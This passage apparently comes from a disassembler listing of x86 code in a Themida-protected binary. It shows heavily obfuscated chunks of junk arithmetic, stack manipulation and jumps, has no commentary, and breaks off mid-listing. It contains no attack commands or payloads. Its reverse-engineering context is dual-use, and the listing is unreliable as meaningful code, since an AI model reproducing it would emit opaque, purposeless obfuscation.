dec ebp
jmp loc_5A02F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_5965C9: ; CODE XREF: sub_59F53F+50A2j
pop esp
mov [esp-8+arg_4], eax
jmp loc_597FE1
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
loc_5965D2: ; CODE XREF: Themida_:0059567Dj
or eax, 7A0E6C9Ch
not eax
push ebp
push edx
push 67B9789Fh
pop edx
sub edx, 52414902h
sub edx, 1D2B319Ch
sub edx, 729C7CDDh
mov ebp, edx
pop edx
sub eax, ebp
pop ebp
sub edi, eax
pop eax
neg edi
add edi, 112F3159h
sub ecx, 320427D4h
jmp loc_5A32F4
; ---------------------------------------------------------------------------
loc_59660F: ; CODE XREF: Themida_:00595023j
sub esi, 61D11B64h
shr esi, 5
shr esi, 8
shr esi, 6
xor esi, 4D0771ACh
sub ecx, 32780130h
sub ecx, esi
push edi
mov edi, 665D4D87h
add edi, 498B77FAh
or edi, 6E5B70F3h
neg edi
push ebp
mov ebp, 3240BF9h
shr ebp, 2
add ebp, 455F19FDh
dec ebp
add ebp, 0DC4BDA29h
add edi, ebp
pop ebp
add ecx, edi
pop edi
mov esi, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_5A1CF7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596676: ; CODE XREF: sub_59390B-2CB3j
mov [esp+0], edx
push ebx
jmp loc_599FB4
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59667F proc near ; CODE XREF: sub_59390B+58Fj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059C385 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0CC2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A26F8 SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_5A26F8
sub_59667F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59668D: ; CODE XREF: sub_59390B+8E7Dj
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_596692: ; CODE XREF: sub_5A3F6E-567Bj
add esp, 4
push ebx
mov ebx, 61063594h
xor ebx, 56106F10h
or ebx, 333B6877h
and ebx, 5ACA1150h
push 76F6h
mov [esp+4+var_4], ecx
mov ecx, 0EDF5EFB4h
add ebx, ecx
pop ecx
jmp loc_5A37BF
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5966C2: ; CODE XREF: sub_5A3536-35Bj
add ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
push ebp
mov ebp, 668F2796h
xor ebx, ebp
jmp loc_5A1B54
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5966D9: ; CODE XREF: sub_5A4CDD-12C51j
add esi, ebx
pop ebx
xchg esi, [esp+0]
pop esp
push edi
jmp loc_595476
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598DC3
loc_5966E6: ; CODE XREF: sub_598DC3+CAAEj
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
add ebx, 4
sub ebx, 2
xor ebx, [esp+0]
jmp loc_59F27F
; END OF FUNCTION CHUNK FOR sub_598DC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_596703: ; CODE XREF: sub_59CAFB+8BDFj
sub ecx, 0C0C26223h
sub eax, ecx
jmp loc_5A0342
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596710: ; CODE XREF: sub_59390B+3A65j
xor eax, [esp+0]
mov esp, [esp+0]
jmp loc_59D2FA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_59671B: ; CODE XREF: sub_590BDF+45ADj
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_5A35FB
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596729: ; CODE XREF: sub_59390B+1202Cj
sub ecx, 0E5D175Ch
add ecx, edx
push ebp
mov ebp, 0E5D175Ch
add ecx, ebp
pop ebp
sub ecx, 50991437h
push dword ptr [esp+0]
pop edx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
add edi, ecx
mov ecx, [esp+0]
jmp loc_5A2BCC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_596761: ; CODE XREF: sub_592586+E550j
add esp, 4
mov edx, [esp-4+arg_0]
add esp, 4
push ebx
mov ebx, 71092677h
xor edx, ebx
push [esp-4+arg_0]
pop ebx
jmp sub_59A25D
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_59677E: ; CODE XREF: sub_59338E+6701j
mov [esp+8+var_8], ebp
push eax
mov eax, 6AC737EEh
jmp loc_590F65
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
loc_59678C: ; CODE XREF: Themida_:00593157j
pop ebx
push eax
mov eax, 61084B32h
sub eax, 18127308h
xor eax, 303D336Eh
add eax, 0F1A0451Bh
sub ebx, eax
pop eax
pop eax
shr ebx, 7
neg ebx
sub ebx, 0E3FB68DDh
add eax, ebx
pop ebx
sub esp, 4
mov [esp], edi
mov edi, 36711D73h
jmp loc_59CD1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_5967C7: ; CODE XREF: sub_5995FC+483Dj
mov ah, bl
pop ebx
add ch, ah
mov ax, word ptr [esp+2+var_4+2]
push edi
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp+6+var_8+2]
pop esp
jmp loc_592E41
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_5967E8: ; CODE XREF: Themida_:005A325Aj
push edi
mov edi, 13097CEAh
sub [esp+0Ch], edi
pop edi
pop ebx
sub esp, 4
mov [esp], ecx
mov ecx, 4A720F40h
add [esp+8], ecx
pop ecx
mov edx, [esp]
push 3FDDh
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_593949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596826: ; CODE XREF: sub_59390B+2EBj
sub ebx, 170B007Bh
add ebx, edx
add ebx, 170B007Bh
push 4733h
mov [esp-0Ch+arg_4], edx
mov edx, 0
sub edx, 9A5B52h
jmp loc_591CA6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59684C: ; CODE XREF: Themida_:0059B141j
mov bh, 0AAh
not bh
jmp loc_5A1BFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CF8
loc_596855: ; CODE XREF: sub_5A4CF8-11492j
and eax, 663B5B16h
jmp sub_59F4E7
; END OF FUNCTION CHUNK FOR sub_5A4CF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59685F: ; CODE XREF: sub_591FE1+59B2j
shl edx, 3
xor edx, 707A334Ch
jmp sub_5A16B7
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59686D: ; CODE XREF: sub_59654E-4D9Bj
mov esi, 2B41651Ch
neg esi
dec esi
shr esi, 4
sub esi, 5E7E15D4h
sub esi, 0AECDD3D6h
mov edx, esi
pop esi
sub ecx, 3C452F21h
sub ecx, edx
push esi
jmp loc_59B769
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596895: ; CODE XREF: sub_59390B+92D0j
add esp, 4
jmp loc_5913CF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59689D: ; CODE XREF: Themida_:00599B44j
xchg ebp, ecx
sub esp, 4
jmp loc_5A0B86
; ---------------------------------------------------------------------------
loc_5968AA: ; CODE XREF: Themida_:0059F8A6j
push ebx
push ecx
mov ch, 90h
mov bl, ch
pop ecx
xor bl, 6Eh
sub bl, 49h
jmp loc_59DDFF
; ---------------------------------------------------------------------------
loc_5968BC: ; CODE XREF: Themida_:005A05E3j
xchg ebp, edi
xchg edx, ebp
not edx
xchg edx, ebp
jmp loc_59AB0A
; ---------------------------------------------------------------------------
loc_5968C9: ; CODE XREF: Themida_:005A5310j
xor cl, bl
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_594E38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5968E1: ; CODE XREF: sub_59390B+5411j
mov [esp-10h+arg_8], ebx
push 7656h
mov [esp-0Ch+arg_4], ebp
push 36127B59h
mov ebp, [esp-8+arg_0]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
jmp loc_5A4A8D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59690B: ; CODE XREF: Themida_:0059E75Fj
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_592C95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_59691A: ; CODE XREF: sub_59A4D6+8459j
pop esp
push [esp+8+var_8]
pop esi
push ebx
push esp
pop ebx
add ebx, 4
push 4A1Eh
mov [esp+10h+var_10], esi
mov esi, 4
jmp loc_5A2569
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_59693A: ; CODE XREF: sub_599F38+9j
push 7A3h
mov [esp+8+var_8], esp
push edi
mov edi, 4
jmp loc_59CF97
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
loc_59694D: ; CODE XREF: Themida_:00590E7Cj
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 4
push edx
push 4D7h
mov [esp], ebx
mov ebx, 2
push 17CBh
mov [esp], ebx
pop edx
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 25813EB2h
add ebx, edx
push edx
jmp loc_599A03
; ---------------------------------------------------------------------------
loc_59698C: ; CODE XREF: Themida_:0059B3D4j
push dword ptr [esp]
pop ebp
jmp loc_59CF7D
; ---------------------------------------------------------------------------
loc_596995: ; DATA XREF: Themida_:005909D0o
mov ax, [esp]
jmp loc_5A2C81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59699E: ; CODE XREF: sub_59390B-8B0j
push esi
mov esi, ebp
push esi
sub esp, 4
mov [esp+2+var_4+2], edi
mov edi, 17F7740h
xor [esp+4], edi
jmp loc_59CDEE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5969B6: ; CODE XREF: sub_59CFD4-83E8j
shr edx, 5
neg edx
shl edx, 1
add edx, 476232Ch
jmp loc_592E08
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5969C8: ; CODE XREF: sub_59918B+6E61j
push edx
push esp
pop edx
jmp loc_5A3326
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_5969D0: ; CODE XREF: Themida_:0059AD30j
pop esi
push esi
mov esi, 2
jmp loc_598DA1
; =============== S U B R O U T I N E =======================================
sub_5969DC proc near ; DATA XREF: Themida_:00590A1Co
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00591667 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00591D59 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B1DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D17B SIZE 0000000B BYTES
lodsd
jmp loc_59B1DD
sub_5969DC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5969E2: ; CODE XREF: sub_59390B+B63Cj
push edi
push [esp+6+var_4+2]
pop edi
pop [esp+6+var_8+2]
pop esp
jmp loc_5985F8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5969F1: ; CODE XREF: Themida_:00598475j
push ebx
jmp loc_5956A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5969F7: ; CODE XREF: sub_59918B+A1A7j
xchg edx, [esp+4+var_4]
jmp loc_5A168C
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5969FF: ; CODE XREF: sub_594D13+7380j
pop edi
sub eax, 7C187F85h
add ebx, eax
pop eax
xchg ebx, [esp-8+arg_4]
jmp loc_59D2EE
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_596A10: ; CODE XREF: sub_59CAFB+48C1j
push eax
mov eax, 1B446617h
mov ecx, eax
pop eax
dec ecx
add ecx, 1
xor ecx, 72B05132h
sub esp, 4
mov [esp+0Ch+var_C], eax
mov eax, 60656D82h
sub eax, 1
push ebx
mov ebx, 0DA2710EAh
add eax, ebx
pop ebx
sub ecx, eax
jmp loc_5A56D1
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_596A46: ; CODE XREF: Themida_:00593676j
push dx
mov dh, 45h
jmp loc_593401
; ---------------------------------------------------------------------------
loc_596A4F: ; CODE XREF: Themida_:0059A9A0j
pop ecx
push 77EAh
mov [esp], ebp
jmp loc_59258C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596A5D: ; CODE XREF: sub_59390B+5248j
mov [esp+0], eax
mov eax, 4
add ebp, eax
mov eax, [esp+0]
jmp loc_5A4834
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596A6F: ; CODE XREF: Themida_:005964AAj
mov edi, 4
mov ecx, edi
jmp loc_5A10B0
; ---------------------------------------------------------------------------
loc_596A7B: ; CODE XREF: Themida_:005A2EAAj
pop eax
or dh, cl
mov cx, [esp]
jmp loc_5A1956
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_596A87: ; CODE XREF: sub_590AC5+ABDFj
push [esp-4+arg_4]
jmp loc_59EFE0
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_596A90: ; CODE XREF: Themida_:00599E1Fj
xor esi, 39894577h
add esi, 5C112672h
push 4B3Fh
mov [esp], edi
mov edi, 0FFFFFFFFh
sub esi, edi
pop edi
push ebx
mov ebx, 56E61640h
sub ebx, 8B7ECE0h
xor esi, ebx
pop ebx
dec esi
jmp loc_5945E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2196
loc_596AC1: ; CODE XREF: sub_5A2196+1j
mov ebx, 3EDC7341h
sub eax, ebx
pop ebx
push 4B37h
mov [esp+4+var_4], ecx
mov ecx, 4A3301D7h
sub eax, 66CD7BFEh
add eax, ecx
add eax, 66CD7BFEh
jmp loc_59ACB3
; END OF FUNCTION CHUNK FOR sub_5A2196
; ---------------------------------------------------------------------------
loc_596AE7: ; CODE XREF: Themida_:0059A4F6j
mov ebx, 4DC7343Bh
xor ecx, ebx
pop ebx
sub ecx, 4DC33427h
add eax, ecx
pop ecx
jmp loc_5941F0
; ---------------------------------------------------------------------------
loc_596AFD: ; CODE XREF: Themida_:005A356Ej
add ecx, eax
jmp loc_590D23
; ---------------------------------------------------------------------------
loc_596B04: ; CODE XREF: Themida_:0059D3D4j
add esp, 4
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2D8D
loc_596B0F: ; CODE XREF: sub_5A2D8D+C54j
pop esp
jmp loc_59AE21
; END OF FUNCTION CHUNK FOR sub_5A2D8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_596B15: ; CODE XREF: sub_59A75E+89ADj
add ecx, edi
jmp loc_59CA5E
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596B1C: ; CODE XREF: sub_59390B-74Aj
pop eax
push 553Dh
mov [esp+4+var_4], esi
xor [esp+4+var_4], 3B3C5DC1h
pop ebp
push eax
mov eax, 6BD86A9Ch
neg eax
or eax, 1479699Bh
or eax, 507B5167h
push ecx
mov ecx, 4C273F3h
jmp loc_5A07A3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A25D
loc_596B4A: ; CODE XREF: sub_59A25D+32j
sub ebp, 6CAD6929h
add ebp, esi
add ebp, 6CAD6929h
mov esi, [esp+8+var_8]
add esp, 4
push ebp
jmp loc_593551
; END OF FUNCTION CHUNK FOR sub_59A25D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_596B67: ; CODE XREF: sub_59A4D6+1512j
pop eax
shr ebp, 6
jmp loc_5A3AC1
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_596B70: ; CODE XREF: Themida_:005A4895j
pop dword ptr [esp]
add dword ptr [esp], 4
pop esi
push 0F6Fh
mov [esp], eax
mov eax, 4
add esi, 3383666Ch
add esi, eax
sub esi, 3383666Ch
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59E23E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596BA5: ; CODE XREF: sub_59390B+7048j
shl dh, 4
add dh, 22h
sub bl, dh
pop dx
jmp loc_59AC50
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596BB4: ; CODE XREF: Themida_:005A3E3Ej
sub ebx, edi
pop edi
push ebp
mov ebp, 6FF4768Eh
add ebp, 42E2505Fh
jmp loc_599111
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_596BC8: ; CODE XREF: sub_595BAD-5DDj
push 46887583h
mov eax, [esp+0Ch+var_C]
add esp, 4
push ebp
jmp loc_5944D4
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_596BDC: ; CODE XREF: sub_59654E+8B4Bj
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
push 542Ah
mov [esp+8+var_8], ecx
push [esp+8+var_4]
jmp loc_599A3B
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_596BFA: ; CODE XREF: Themida_:005959A5j
xor bl, 0Fh
push eax
mov ah, 6Bh
neg ah
sub ah, 0Eh
sub bl, ah
pop eax
add bl, 46h
and bl, 48h
sub bl, 1
jmp loc_59C1A3
; ---------------------------------------------------------------------------
loc_596C16: ; CODE XREF: Themida_:0059E232j
add esi, ecx
pop ecx
push ecx
sub esp, 4
jmp loc_59991E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_596C22: ; CODE XREF: sub_59FCCB-DAE4j
pop esp
mov [esp+2+var_4+2], edx
jmp loc_598F95
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596C2B: ; CODE XREF: sub_59390B-F0Cj
inc bl
dec bl
shr bl, 4
xor bl, 0CFh
sub dh, bl
mov ebx, [esp-14h+arg_C]
jmp loc_59C023
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_596C3F: ; CODE XREF: sub_59FD45-A7FEj
push edx
mov edx, 34CC3D87h
not edx
shr edx, 2
jmp loc_59FAFF
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
jmp loc_594685
; ---------------------------------------------------------------------------
loc_596C59: ; CODE XREF: Themida_:00596CFFj
add ebp, edi
jmp loc_5A387B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A58F3
loc_596C60: ; CODE XREF: sub_5A58F3+1j
xor eax, ebx
sub esp, 4
mov [esp+4+var_4], esi
mov esi, esp
add esi, 4
jmp loc_5A50FE
; END OF FUNCTION CHUNK FOR sub_5A58F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_596C78: ; CODE XREF: sub_59D1FC-1212j
sub eax, edi
pop edi
shl eax, 1
xor eax, 1F6D9C7Ch
add edx, eax
pop eax
jmp loc_59430F
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_596C8A: ; CODE XREF: Themida_:005A5303j
xor ecx, 13532602h
jmp loc_5A23C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596C95: ; CODE XREF: sub_59390B+B083j
or ebx, 1A3D7784h
jmp loc_596395
; ---------------------------------------------------------------------------
loc_596CA0: ; CODE XREF: sub_59390B-2D74j
push dword ptr [esp+0]
mov eax, [esp+0]
push esi
mov esi, esp
add esi, 4
jmp loc_594284
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596CB4: ; CODE XREF: Themida_:0059F11Cj
mov ecx, 50F20350h
sub ecx, 0FFFFFFFFh
xor ecx, 506C3F54h
not ecx
add ecx, 36E61777h
jmp loc_5A3658
; ---------------------------------------------------------------------------
loc_596CCF: ; CODE XREF: Themida_:0059B471j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
sub esp, 4
mov [esp], esp
push eax
jmp loc_5A506B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_596CFA: ; CODE XREF: Themida_:0059DF99j
mov edi, 0AFC0B75h
jmp loc_596C59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596D04: ; CODE XREF: sub_59390B+48Ej
add al, 0DBh
add al, 0E4h
add al, bl
sub al, 0E4h
push edx
mov dh, 0DBh
add al, 53h
sub al, dh
jmp loc_593784
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596D18: ; CODE XREF: Themida_:0059C887j
add esp, 4
add edx, edi
pop edi
add edx, 2
xor edx, [esp]
xor [esp], edx
jmp loc_5A33C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596D32: ; CODE XREF: sub_59390B-A5Dj
mov edi, [esp-14h+arg_C]
add esp, 4
jmp loc_59317B
; ---------------------------------------------------------------------------
loc_596D3D: ; CODE XREF: sub_59390B+24E5j
pop esi
push ebp
mov ebp, 11F7337Ah
shl ebp, 8
not ebp
add ebp, 50E259A8h
jmp loc_5A4CCE
; ---------------------------------------------------------------------------
loc_596D54: ; CODE XREF: sub_59390B+1544j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push edx
mov edx, esp
push eax
mov eax, 4
push ebx
mov ebx, 75B439ECh
sub edx, ebx
pop ebx
add edx, eax
add edx, 75B439ECh
jmp loc_59C4E6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596D84: ; CODE XREF: Themida_:0059DB09j
xchg eax, [esp]
pop esp
jmp loc_59C7D1
; ---------------------------------------------------------------------------
loc_596D8D: ; CODE XREF: Themida_:005A5A1Bj
xor ebx, eax
push edx
jmp loc_59F30A
; ---------------------------------------------------------------------------
loc_596D95: ; CODE XREF: Themida_:0059E425j
add ebx, 727615A0h
add ebx, ecx
sub ebx, 727615A0h
pop ecx
mov ecx, ebx
mov ebx, [esp]
add esp, 4
xor edi, ecx
pop ecx
add ebp, edi
jmp loc_591C8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_596DB9: ; CODE XREF: sub_599AE1+1B01j
mov esi, 24B13E18h
xor edx, esi
jmp loc_5A2997
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596DC5: ; CODE XREF: sub_59390B+7295j
pop esp
push edi
push [esp+0Ch+var_8]
pop edi
pop [esp+0Ch+var_C]
mov esp, [esp+8+var_8]
mov [esp+8+var_8], ebx
push esi
sub esp, 4
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
mov esi, [esp+10h+var_10]
add esp, 4
add esi, 4
sub esi, 4
xchg esi, [esp+0Ch+var_C]
jmp loc_59556C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_596E00: ; CODE XREF: sub_59654E-18B8j
mov esp, [esp+0]
mov edx, [esp+0]
add esp, 4
loc_596E09: ; CODE XREF: sub_59CFD4+376Fj
push ecx
sub esp, 4
mov [esp+4+var_4], esp
jmp loc_599EBA
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_596E15: ; CODE XREF: Themida_:00594AE0j
mov edx, 3BD437B0h
sub [esp+8], edx
jmp loc_5A49E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DC9E
loc_596E23: ; CODE XREF: sub_59DC9E+620Fj
sub eax, 25A41CF7h
mov edi, [esp-4+arg_0]
add esp, 4
sub [edi+24h], eax
jmp loc_5959D6
; END OF FUNCTION CHUNK FOR sub_59DC9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_596E39: ; CODE XREF: sub_5A4CDD-171j
sub edx, 4FF25952h
sub edx, 1D2522F0h
pop edi
mov ecx, edx
pop edx
jmp loc_592AF7
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_596E4E: ; CODE XREF: Themida_:0059D9CBj
pop edi
push edi
mov edi, 178E1241h
add edi, 4E754C00h
add ecx, edi
pop edi
push edx
jmp loc_5A10DB
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_59B650
; ---------------------------------------------------------------------------
loc_596E6E: ; CODE XREF: Themida_:0059F163j
mov [esp], edx
push esp
pop edx
jmp loc_59E65B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596E78: ; CODE XREF: sub_59390B+538Bj
add edx, 4801289Fh
add edx, ebx
jmp loc_5993F8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596E85: ; CODE XREF: Themida_:005A2346j
push 2
pop ebp
add esi, ebp
mov ebp, [esp]
sub esp, 4
jmp loc_5A1923
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_596E98: ; CODE XREF: sub_591FC5+10FE6j
mov bl, cl
pop ecx
jmp loc_5983C3
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_596EA0: ; CODE XREF: Themida_:005A1F7Cj
add edx, 104A3046h
sub edx, edi
sub edx, 104A3046h
add edx, 166A29A6h
mov edi, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ecx
push 0AC3h
mov [esp], edx
push 3F4B13CDh
pop edx
or edx, 36D45E6Ah
sub edx, 3FDF5FEDh
jmp loc_591D66
; ---------------------------------------------------------------------------
loc_596EEB: ; CODE XREF: Themida_:0059C877j
add esp, 4
and [edi+1Ch], ebp
mov ebp, [esp]
jmp loc_5923D5
; ---------------------------------------------------------------------------
loc_596EFC: ; CODE XREF: Themida_:005A426Bj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5A4B7C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_596F0D: ; CODE XREF: sub_59390B+E78Ej
xchg ebx, esi
push edx
push esi
pop edx
pop esi
push 443Ch
jmp loc_5926FF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_596F1D: ; CODE XREF: Themida_:00597DB5j
or ebp, 2E324B6h
xor ebp, 3970717h
mov eax, ebp
jmp loc_5A0E01
; ---------------------------------------------------------------------------
loc_596F30: ; CODE XREF: Themida_:005994A1j
pop edi
push 4E33632Dh
mov esi, [esp]
add esp, 4
sub esi, eax
pop eax
sub edx, 45135B17h
sub edx, 61370E6Fh
add edx, esi
add edx, 61370E6Fh
push ecx
jmp loc_59FA60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_596F59: ; CODE XREF: sub_591FC5+A9E9j
